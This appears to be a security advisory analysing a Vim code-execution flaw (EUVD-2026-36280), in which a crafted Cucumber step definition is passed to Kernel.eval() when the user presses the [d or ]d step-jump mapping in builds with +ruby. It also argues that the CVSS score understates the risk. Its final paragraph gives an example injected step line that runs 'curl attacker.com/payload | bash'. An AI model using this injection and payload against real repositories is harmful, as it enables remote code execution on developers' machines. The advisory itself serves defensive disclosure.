Vim EUVD-2026-36280

Exploitation requires three concurrent conditions: (1) the victim's Vim binary must be compiled with +ruby support - this is a non-default build option absent from the standard Vim packages shipped by Debian, Ubuntu, and many other distributions (verify with vim --version); (2) the victim must open a .feature (Cucumber) file sourced from a repository where the attacker controls at least one .rb step definition file under a features/*/ or stories/*/ subdirectory; and (3) the victim must invoke the [d or ]d step-jump mapping while the cursor is positioned on a step line - this is an explicit keystroke, not triggered by merely opening or saving the file. Exploitation is limited entirely to the victim's user privilege level; no privilege escalation is inherent. No authentication to the victim's system is required from the attacker side, but the attack is constrained to developer workstations actively using Cucumber test workflows.

The vendor-assigned CVSS 4.0 score of 5.1 (Medium) with vector AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:L reflects a conservative impact framing, but the actual code-execution capability warrants a higher severity assessment when +ruby is present. The PR:L and low-impact ratings in the supplied vector appear to understate the threat: the attacker requires no credentials on the victim system, only control of a repository the victim clones, and successful exploitation yields arbitrary shell command execution under the victim's user account. The +ruby compilation requirement is a meaningful population limiter - many Linux distribution packages ship Vim without Ruby bindings - and is the primary factor keeping real-world risk contained. No EPSS data was provided and no CISA KEV listing exists, indicating no observed mass exploitation. However, the working PoC in the patch commit lowers the barrier for targeted developer workstation attacks, particularly in supply-chain scenarios against Ruby/Cucumber CI contributors. CVSS vector tension: the supplied vector's VC:L/VI:L/VA:L conflicts with the actual arbitrary shell execution capability described; defenders should treat confirmed successful exploitation as C:H/I:H/A:H.

An attacker contributing to or creating a public Cucumber Ruby repository embeds a malicious step definition such as Given /xyzzy/; system("curl attacker.com/payload | bash"); #/ do in a .rb file under features/step_definitions/. When a victim developer clones the repository and opens a corresponding .feature file in a +ruby Vim build, pressing [d on a step line causes s:stepmatch() to call Kernel.eval() with the injected pattern, executing the shell payload as the victim's user. A working proof-of-concept demonstrating this exact technique (using system("touch MARKER")) is present in the patch commit's test suite at src/testdir/test_filetype.vim.